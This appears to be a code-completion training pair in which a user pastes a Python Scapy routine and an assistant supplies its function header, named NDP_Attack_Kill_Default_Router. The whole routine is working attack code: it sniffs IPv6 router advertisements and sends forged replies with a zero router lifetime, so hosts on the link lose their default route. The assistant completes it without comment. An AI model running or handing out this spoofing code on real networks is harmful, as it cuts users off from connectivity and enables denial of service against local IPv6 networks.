human
I wrote the below code

    def is_request(req, mac_src_filter, ip_src_filter):
        '\n                                Check    if    packet    req    is    a    request\n                                '
        if (not ((Ether in req) and (IPv6 in req) and (ICMPv6ND_RA in req))):
            return 0
        mac_src = req[Ether].src
        if (mac_src_filter and (mac_src != mac_src_filter)):
            return 0
        ip_src = req[IPv6].src
        if (ip_src_filter and (ip_src != ip_src_filter)):
            return 0
        if (req[ICMPv6ND_RA].routerlifetime == 0):
            return 0
        return 1
    def ra_reply_callback(req, reply_mac, tgt_mac, iface):
        '\n                                Callback    that    sends    an    RA    with    a    0    lifetime\n                                '
        src = req[IPv6].src
        ether_params = {}
        if reply_mac:
            ether_params['src'] = reply_mac
        if tgt_mac:
            ether_params['dst'] = tgt_mac
        rep = (Ether(**ether_params) / IPv6(src=src, dst='ff02::1'))
        rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)
        tmp = req
        while (ICMPv6NDOptPrefixInfo in tmp):
            pio = tmp[ICMPv6NDOptPrefixInfo]
            tmp = pio.payload
            del pio.payload
            rep /= pio
        if (ICMPv6NDOptSrcLLAddr in req):
            mac = req[ICMPv6NDOptSrcLLAddr].lladdr
        else:
            mac = req[Ether].src
        rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)
        sendp(rep, iface=iface, verbose=0)
        print(('Fake    RA    sent    with    source    address    %s' % src))
    if (not iface):
        iface = conf.iface
    if (not reply_mac):
        reply_mac = get_if_hwaddr(iface)
    sniff_filter = ('icmp6    and    not    ether    src    %s' % reply_mac)
    sniff(store=0, filter=sniff_filter, lfilter=(lambda x: is_request(x, mac_src_filter, ip_src_filter)), prn=(lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface)), iface=iface)

What's a good function header?
assistant
#Here's a good function header.

def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None, ip_src_filter=None, reply_mac=None, tgt_mac=None):